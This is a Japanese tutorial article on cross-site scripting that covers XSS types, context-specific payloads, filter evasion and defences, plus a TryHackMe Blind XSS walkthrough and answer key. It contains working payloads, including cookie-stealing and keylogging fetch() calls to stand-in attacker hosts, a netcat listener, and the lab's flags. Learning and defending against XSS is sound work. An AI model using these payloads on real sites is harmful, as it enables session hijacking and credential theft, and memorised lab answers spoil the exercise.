0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】XSS超入門 ─ 仕組み・検出・攻撃シナリオ・回避と防御まで一気通貫

Posted at

はじめに

XSS(Cross-site Scripting)は、ユーザー入力に混入した悪意のあるJavaScriptが、他ユーザーのブラウザで実行されてしまう脆弱性です。検出頻度も影響範囲も大きく、バグバウンティでも常連のカテゴリ。この記事では、XSSのタイプ別の見分け方と、コンテキストに適合したペイロード設計、簡易検証手順、そして防御策までを総まとめします。

前提知識

  • JavaScriptの超基礎(<script>…</script>alert()・DOMの概念)
  • HTTPの基本(リクエスト/レスポンス、クエリ文字列、ヘッダ等)

1. XSSとは何か(定義と狙い)

XSSは“注入(Injection)”の一種で、他人のブラウザで自分のJSを実行させる攻撃です。目的(意図)により典型シナリオが分かれます。

代表的な目的(Intention)

  • PoC(成立証明)

    <script>alert('XSS');</script>
    
  • セッション強奪(Cookie送出)

    <script>fetch('https://attacker.tld/steal?c='+btoa(document.cookie));</script>
    
  • キー入力の窃取

    <script>document.onkeypress=e=>fetch('https://attacker.tld/log?k='+btoa(e.key))</script>
    
  • ビジネスロジック悪用(アプリ内JSの直接呼出し)

    <script>user.changeEmail('attacker@tld');</script>
    

重要:ペイロードは常に“どこに反映されるか(コンテキスト)”で変わる。同じ<script>でも、タグ内・属性値内・JS文字列内・コメント内などで“必要な抜け方”が違います。


2. XSSの4タイプとテスト要点

2.1 Reflected XSS(反射型)

  • 定義:リクエスト由来のデータが検証なしで直ちにレスポンスに反映され実行される
  • 狙いどころ:URLのパラメータ/パス/(まれに)ヘッダ
  • インパクト:悪性URLを踏ませるだけで実行
  • 簡易テスト:反映位置を見つけ、そのコンテキストに合わせた“抜け” を入れる

2.2 Stored XSS(格納型)

  • 定義:悪性入力がDB等に保管され、閲覧者のブラウザで後日実行される
  • 狙いどころ:コメント欄、プロフィール、一覧・検索結果など保存→再表示される箇所
  • 落とし穴:クライアント側の入力制限だけを信用せず、手動でPOSTして型外値やタグ混入を試す

2.3 DOM-based XSS

  • 定義フロントJSのみで発火(サーバ往復なし)。window.location.*等のソースinnerHTMLeval()等のシンク
  • 見つけ方:ソース(例:location.hash/search等)と、危険シンクinnerHTML/document.write/eval())のデータフローを読む
  • 要チェックeval()Function()などの動的実行は特に危険

2.4 Blind XSS

  • 定義:格納型に似るが、攻撃者自身はブラウザで発火を確認できない。社内管理画面などで発火
  • 必要要素コールバック(HTTP外部送信)。例:XSS Hunter Express、あるいは自前fetch()で受信サーバへ送る

3. コンテキスト別ペイロード設計(「抜け方」チートシート)

反映コンテキスト 典型的抜け方
HTML本文(タグ外) そのまま<script> <script>alert(1)</script>
HTML属性値(value="..."等) "><script>...属性閉じ+タグ閉じ "><script>alert(1)</script>
<textarea>… </textarea><script>... </textarea><script>alert(1)</script>
JS文字列内(var x='…'; ' ; … //クォート閉じ+文終端+コメント ';alert(1);//
タグ名フィルタあり 分割ダミー挿入でバイパス <sscriptcript>alert(1)</sscriptcript> → フィルタ後<script>
文字< >が除去 イベント属性でタグ内発火 ...jpg" onload="alert(1)
何でも通す万能系 ポリグロット (下記参照)

ポリグロット例(学習用)

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

4. フィルタ回避の基本テク

  • キーワード除去script除去 → <sSCRIPTscript>のように重ねて挿入して除去後に正規化させる
  • エンコード:URLエンコード、HTMLエンティティ、Base64など多段エンコードでWAFをすり抜け
  • イベント属性onload/onerror/onclick…タグを閉じられなくても発火できる
  • 大小文字混在ScRiPtsvGなど大文字混在や名前空間トリック

ただし、実環境での無闇な実行は禁止。検証は承認された検査環境・権限でのみ行いましょう。


5. Blind XSSの実践(TryHackMe演習の流れ)

  1. 攻撃用リスナーを立てる(例:ポート9001)

    nc -nlvp 9001
    
  2. 格納→内部ビューが起きる地点に、コールバック付きペイロードを投下

    </textarea><script>
      fetch('http://ATTACKER_IP:9001?cookie='+btoa(document.cookie))
    </script>
    
  3. 受信ログにCookie等が届く(Base64をデコード)

    • 例:staff-session=4AB305E55955197693F01D6F8FD2D321

受信できない時はVPNやFW設定を疑う。TryHackMeのAttackBox+公開ポートを使うと楽。


6. 検出チェックリスト(どこを見る?)

  • 画面反映系:
    • URL パラメータ(クエリ・パス)
    • 保存→再表示(コメントプロフィール、リスト)
    • DOM操作innerHTML/document.write/insertAdjacentHTML
  • JS危険API:eval / Function / setTimeout(String) / setInterval(String)
  • 反映箇所のコンテキスト(本文/属性/JS文字列/コメント内)を特定し、適合する抜け方を選ぶ

7. 実装側の防御

  • 出力時エスケープ(コンテキスト別):
    • HTML本文 → & < > " ' のエスケープ
    • HTML属性 → 追加で"/'厳格エスケープ
    • JS文字列 → 文字列用エスケープ(\' \" \n …)
  • テンプレートエンジンのサニタイザを正しく使う(自前組み込みは危険)
  • CSP(Content Security Policy)script-src 'self'nonce/hash運用でインライン抑止
  • Cookieの保護HttpOnly(JSから読めない)+ SecureSameSite
  • DOM操作の最小化innerHTMLではなく安全API(textContent) を使う
  • ライブラリ:DOMPurify等の実績あるサニタイザを適切に設定
  • Trusted Types(対応ブラウザ):シンクに渡せる型を制限

8. 便利スニペット集(学習用)

Reflected(属性値内)

"><script>alert('THM')</script>

Stored(textarea内)

</textarea><script>alert('THM')</script>

JS文字列内

';alert('THM');// 

タグ閉じ不可・イベントで発火

...jpg" onload="alert('THM')"

Cookie送出(btoaで可搬性↑)

<script>fetch('http://x.x.x.x:9001?c='+btoa(document.cookie))</script>

※ すべて許可された検証環境のみで使用すること。


9. TryHackMe演習:QAまとめ(答え)

  • What does XSS stand for?
    Cross-site Scripting
  • Which document property could contain the user's session token?
    document.cookie
  • Which JavaScript method is often used as a Proof Of Concept?
    alert
  • Where in an URL is a good place to test for reflected XSS?
    Parameters
  • How are stored XSS payloads usually stored on a website?
    database
  • What unsafe JavaScript method is good to look for in source code?
    eval()
  • What tool can you use to test for Blind XSS?
    XSS Hunter Express
  • What type of XSS is very similar to Blind XSS?
    Stored XSS
  • Perfecting payloads Level 6 Flag
    THM{XSS_MASTER}
  • Blind XSS(実践)— staff-session cookie
    4AB305E55955197693F01D6F8FD2D321

おわりに

XSSは 「どこに、どう反映されるか」=コンテキスト理解 が勝負です。
まずは反映位置の特定 → コンテキストに合う抜け方の選択 → フィルタ回避の工夫、の順で安定して再現できます。防御側は出力エスケープ+CSP+HttpOnlyを基本に、DOMの扱いを安全APIへ寄せていきましょう。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?